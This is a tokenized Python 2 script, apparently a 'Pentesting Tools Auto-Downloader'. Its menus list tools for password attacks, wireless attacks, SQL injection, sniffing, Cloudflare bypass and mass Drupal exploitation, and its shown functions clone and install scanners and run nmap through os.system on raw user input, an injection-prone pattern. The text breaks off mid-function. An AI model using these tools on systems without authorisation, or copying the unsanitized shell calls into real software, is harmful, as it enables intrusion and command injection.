"\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Host", " ", "2", " ", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "ports_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "inu", "rl", "br_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "nmap", " ", "function", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "jbo", "ss", "-", "autop", "wn_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sql", "map", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "seto", "ol", "kit", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cup", "p", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "ncr", "ack", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "rea", "ver_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "ssl", "strip_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "shell", "noo", "b_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "informati", "on", " ", "gather", "ing", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "password", " ", "attacks", " ", "menu", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "wireless", " ", "attacks", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "exploit", "ation", " ", "tools_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sniff", "ing", " ", "tools_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "Os", " ", "is", " ", "Window", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Check", " ", "use", " ", "OS_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "root", " ", "if", " ", "linux", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "priv", "8", " ", "menu", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "menu", "u_", "=_", "\"\"\"", "\\", "10", ";", " ", "1", ")", " ", "Get", " ", "all", " ", "webs", "ites", "\\", "10", ";", " ", "2", ")", " ", "Get", " ", "jo", "om", "la", " ", "webs", "ites", "\\", "10", ";", " ", "3", ")", " ", "Get", " ", "wordpress", " ", "webs", "ites", "\\", "10", ";", " ", "4", ")", " ", "Fin", "d", " ", "control", " ", "panel", "\\", "10", ";", " ", "5", ")", " ", "Fin", "d", " ", "zip", " ", "files", "\\", "10", ";", " ", "6", ")", " ", "Fin", "d", " ", "upload", " ", "files", "\\", "10", ";", " ", "7", ")", " ", "Get", " ", "server", " ", "users", "\\", "10", ";", " ", "8", ")", " ", "Sca", "n", " ", "from", " ", "SQL", " ", "injection", "\\", "10", ";", " ", "9", ")", " ", "Crawl", " ", "and", " ", "scan", " ", "from", " ", "SQL", " ", "injection", "\\", "10", ";", " ", "10", ")", " ", "Sca", "n", " ", "port", "s", " ", "(", "range", " ", "of", " ", "port", "s", ")", "\\", "10", ";", " ", "11", ")", " ", "Sca", "n", " ", "port", "s", " ", "(", "common", " ", "port", "s", ")", "\\", "10", ";", " ", "1", "2", ")", " ", "Get", " ", "server", " ", "banner", "\\", "10", ";", " ", "13", ")", " ", "By", "pass", " ", "Cloud", "fla", "re", "\\", "10", ";", " ", "9", "9", ")", " ", "Exi", "t", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "gra", "b", " ", "function", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "clear", " ", "screen", " ", "function", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "minu", "_", "=_", "'''", "\\", "10", ";\\\\", "t", " ", "1", ":", " ", "Dru", "pal", " ", "Bin", "g", " ", "Explo", "iter", "\\", "10", ";\\\\", "t", " ", "2", ":", " ", "Get", " ", "Dru", "pal", " ", "Webs", "ites", "\\", "10", ";\\\\", "t", " ", "3", ":", " ", "Dru", "pal", " ", "Mass", " ", "Explo", "iter", "\\", "10", ";\\\\", "t", " ", "9", "9", ":", " ", "Back", " ", "To", " ", "Main", " ", "Menu", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Definit", "ion", " ", "Of", " ", "Dru", "pal", " ", "Bin", "g", " ", "Expo", "lite", "r", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "initialise", " ", "the", " ", "tns", "can", " ", "function", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "begin", " ", ":", "D", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "OS_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "logo_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", "\\", "10", ";", " ", " ", "######", "##", " ", " ", "######", "##", " ", "##", " ", " ", " ", " ", "##", " ", "######", "##", " ", " ", " ", "######", "#", " ", " ", "##", " ", "##", " ", "\\", "10", ";", " ", " ", "##", " ", "##", " ", "##", " ", " ", " ", "###", " ", " ", " ", "##", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", "##", " ", " ", " ", "##", " ", " ", "\\", "10", ";", " ", " ", "##", " ", "##", " ", "##", " ", " ", " ", "###", "#", " ", " ", "##", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", " ", "##", " ", "##", " ", " ", " ", "\\", "10", ";", " ", " ", "######", "##", " ", " ", "######", " ", " ", " ", "##", " ", "##", " ", "##", " ", "######", "##", " ", " ", "##", " ", "##", " ", " ", " ", " ", "###", " ", " ", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "##", " ", " ", " ", "##", " ", " ", "###", "#", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", " ", "##", " ", "##", " ", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "##", " ", " ", " ", "##", " ", " ", " ", "###", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", "##", " ", " ", " ", "##", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "######", "##", " ", "##", " ", " ", " ", " ", "##", " ", "######", "##", " ", " ", " ", "######", "#", " ", " ", "##", " ", "##", " ", " ", "v1", ".0", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Pen", "testi", "ng", " ", "Tool", "s", " ", "Auto", "-", "Downloade", "r", " ", "\\", "10", ";", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", " ", "Code", "d", " ", "BY", " ", "Mo", "ham", "ed", " ", "Nou", "r", " ", "&", " ", "Fe", "dy", " ", "We", "sle", "ty", " ", " ", " ", " ", "[+", "]", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", "FB", "/", "CE", "H", ".", "TN", " ", " ", " ", " ", "~~", " ", " ", " ", "FB", "/", "mo", "ham", "ed", ".", "zeu", "s", ".0", " ", " ", "[+", "]", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", " ", " ", " ", "Gree", "tz", " ", "To", " ", "All", " ", "Pen", "teste", "rs", " ", " ", " ", " ", " ", " ", "[+", "]", " ", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "menu_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "######", "##", " ", " ", "######", "##", " ", "##", " ", " ", " ", " ", "##", " ", "######", "##", " ", " ", " ", "######", "#", " ", " ", "##", " ", "##", " ", "\\", "10", ";", " ", " ", "##", " ", "##", " ", "##", " ", " ", " ", "###", " ", " ", " ", "##", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", "##", " ", " ", " ", "##", " ", " ", "\\", "10", ";", " ", " ", "##", " ", "##", " ", "##", " ", " ", " ", "###", "#", " ", " ", "##", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", " ", "##", " ", "##", " ", " ", " ", "\\", "10", ";", " ", " ", "######", "##", " ", " ", "######", " ", " ", " ", "##", " ", "##", " ", "##", " ", "######", "##", " ", " ", "##", " ", "##", " ", " ", " ", " ", "###", " ", " ", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "##", " ", " ", " ", "##", " ", " ", "###", "#", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", " ", "##", " ", "##", " ", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "##", " ", " ", " ", "##", " ", " ", " ", "###", " ", "##", " ", "##", " ", "##", " ", "##", " ", " ", "##", " ", " ", " ", "##", " ", " ", "\\", "10", ";", " ", " ", "##", " ", " ", " ", " ", "######", "##", " ", "##", " ", " ", " ", " ", "##", " ", "######", "##", " ", " ", " ", "######", "#", " ", " ", "##", " ", "##", " ", " ", "v1", ".0", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Pen", "testi", "ng", " ", "Tool", "s", " ", "Auto", "-", "Downloade", "r", " ", "\\", "10", ";", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", " ", "Code", "d", " ", "BY", " ", "Mo", "ham", "ed", " ", "Nou", "r", " ", "&", " ", "Fe", "dy", " ", "We", "sle", "ty", " ", " ", " ", " ", "[+", "]", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", "FB", "/", "CE", "H", ".", "TN", " ", " ", " ", " ", "~~", " ", " ", " ", "FB", "/", "mo", "ham", "ed", ".", "zeu", "s", ".0", " ", " ", "[+", "]", " ", "\\", "10", ";", " ", " ", "[+", "]", " ", " ", " ", " ", " ", "Gree", "tz", " ", "To", " ", "All", " ", "Pen", "teste", "rs", " ", " ", " ", " ", " ", " ", "[+", "]", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Select", " ", "from", " ", "the", " ", "menu", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", " ", ":", " ", "Information", " ", "Gather", "ing", "\\", "10", ";", " ", " ", " ", " ", "2", " ", ":", " ", "Passw", "ord", " ", "Attack", "s", "\\", "10", ";", " ", " ", " ", " ", "3", " ", ":", " ", "Wire", "less", " ", "Test", "ing", "\\", "10", ";", " ", " ", " ", " ", "4", " ", ":", " ", "Explo", "itation", " ", "Tool", "s", "\\", "10", ";", " ", " ", " ", " ", "5", " ", ":", " ", "Sni", "ffi", "ng", " ", "&", " ", "Spo", "ofi", "ng", "\\", "10", ";", " ", " ", " ", " ", "6", " ", ":", " ", "Priva", "t", " ", "Tool", "s", "\\", "10", ";", " ", " ", " ", " ", "7", " ", ":", " ", "Dru", "pal", " ", "Hack", "ing", "\\", "10", ";", " ", " ", " ", " ", "9", "9", " ", ":", " ", "Exi", "t", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice_", "=_", "raw", "\\u", "input_", "(_", "\"", "Enter", " ", "You", "r", " ", "Choi", "ce", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "choice_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "passwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "3", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "4", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exp_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "5", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sni", "f_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "6", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tn", "n_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "7", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main", "e_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "'", "clear", "'_", ")_", ",_", "sys_", "._", "exit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "h2", "ip_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "raw", "\\u", "input_", "(_", "\"", "Select", " ", "A", " ", "Host", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ips_", "=_", "socket_", "._", "gethostbyname", "_", "(_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ports_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target_", "=_", "raw", "\\u", "input_", "(_", "'", "Select", " ", "a", " ", "Target", " ", "IP", " ", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "nmap", " ", "-", "O", " ", "-", "Pn", " ", "%", "s", "\"_", "%_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ifi", "nur", "l_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\"\"", " ", "Thi", "s", " ", "Advance", "d", " ", "search", " ", "in", " ", "search", " ", "engines", ",", " ", "enable", "s", " ", "analys", "is", " ", "provided", " ", "to", " ", "exploit", " ", "GET", " ", "/", " ", "POST", " ", "captur", "ing", " ", "email", "s", " ", "&", " ", "urls", ",", " ", "with", " ", "an", " ", "internal", " ", "custom", " ", "validation", " ", "junction", " ", "for", " ", "each", " ", "target", " ", "/", " ", "url", " ", "found", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "do", " ", "you", " ", "have", " ", "In", "url", "br", " ", "install", "ed", " ", "?", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cin", "url_", "=_", "raw", "\\u", "input_", "(_", "\"", "Y", " ", "/", " ", "N", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cin", "url_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inu", "rl_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cin", "url_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "insi", "nur", "l_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cin", "url_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inu", "rl_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dor", "k_", "=_", "raw", "\\u", "input_", "(_", "\"", "select", " ", "a", " ", "Dor", "k", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "raw", "\\u", "input_", "(_", "\"", "select", " ", "a", " ", "file", " ", "to", " ", "save", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"./", "inu", "rl", "br", ".", "php", " ", "--", "dor", "k", " ", "'{", "0", "}'", " ", "-", "s", " ", "{", "1", "}.", "txt", " ", "-", "q", " ", "1", ",", "6", " ", "-", "t", " ", "1", "\"_", "._", "format_", "(_", "dor", "k_", ",_", "output_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cin", "url_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "insi", "nur", "l_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cin", "url_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "insi", "nur", "l_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "git", " ", "clone", " ", "https", "://", "git", "hub", ".", "com", "/", "google", "inu", "rl", "/", "SCAN", "NER", "-", "IN", "URL", "BR", ".", "git", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "chm", "od", " ", "+", "x", " ", "SCAN", "NER", "-", "IN", "URL", "BR", "/", "inu", "rl", "br", ".", "php", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "apt", "-", "get", " ", "install", " ", "curl", " ", "libc", "url", "3", " ", "libc", "url", "3", "-", "dev", " ", "php", "5", " ", "php", "5", "-", "cli", " ", "php", "5", "-", "curl", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "mv", " ", "/", "SCAN", "NER", "-", "IN", "URL", "BR", "/", "inu", "rb", "r", ".", "php", " ", "inu", "rl", "br", ".", "php", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "clear", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inu", "rl_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "nmap", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choice", "7_", "=_", "raw", "\\u", "input_", "(_", "\"", "continue", " ", "?", " ", "Y", " ", "/", " ", "N", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "choice", "7_", "in_", "yes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "wg", "et", " ", "https", "://", "nmap", ".", "org", "/", "dist", "/", "nmap", "-", "7.0", "1", ".", "tar", ".", "bz2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "bz", "ip", "2", " ", "-", "cd", " ", "nmap", "-", "7.0", "1", ".", "tar", ".", "bz2", " ", "|", " ", "tar", " ", "xv", "f", " ", "-\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "nmap", "-", "7.0", "1", " ", "&", " ", "./", "configur", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "nmap", "-", "7.0", "1", " ", "&", " ", "make", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "su", " ", "root", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "system_", "(_", "\"", "cd", " ", "nmap", "-", "7.0", "1", " ", "&", " ", "make", " ", "install", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "7_", "in_", "no_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "choice", "7_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "jbo", "ss_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", 